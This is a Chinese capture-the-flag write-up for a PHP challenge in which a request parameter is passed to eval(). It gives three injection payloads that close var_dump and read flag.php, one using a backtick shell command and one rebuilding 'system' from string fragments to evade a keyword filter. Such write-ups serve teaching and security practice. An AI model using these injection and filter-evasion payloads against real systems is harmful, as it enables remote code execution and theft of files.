[百度杯-二月場](Misc-Web)爆破-2


簡介 :


分值:10分 類型:Misc Web已解答

題目:
flag不在變量中。

<?php
include "flag.php";
$a = @$_REQUEST['hello'];
eval( "var_dump($a);");
show_source(__FILE__);


解法 :


利用的方式類似于SQL注入 , 我們知道 eval 函數(shù)的功能就是講一個字符串當(dāng)作 php 的代碼進(jìn)行執(zhí)行
那么 , 我們可以傳遞一個值去閉合 var_dump 的左括號 , 剩下的代碼就可以由我們來控制了
下面給出三種 paylaod :

1. ?hello=$a);print_r(file("./flag.php")); //
2. ?hello=$a);echo `cat ./flag.php`; // 
注意這里是反引號 , 在 bash 中反引號括起來的字符串也是會被當(dāng)成代碼執(zhí)行
3. ?hello=$a);$a="sys";$b="tem";$c=$a.$b;echo%20$c;$c("cat%20./flag.php"); // 
這里發(fā)現(xiàn) i春秋 在http請求中攔截了 system 函數(shù)等關(guān)鍵字 , 
因此可以通過 php 的字符串連接成為函數(shù)名 , 然后進(jìn)行調(diào)用
這里其實是把 system 函數(shù)名作為字符串分開 , 這樣在 http 請求頭中不會出現(xiàn) "system(xxx)" 這樣的關(guān)鍵字
最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

推薦閱讀更多精彩內(nèi)容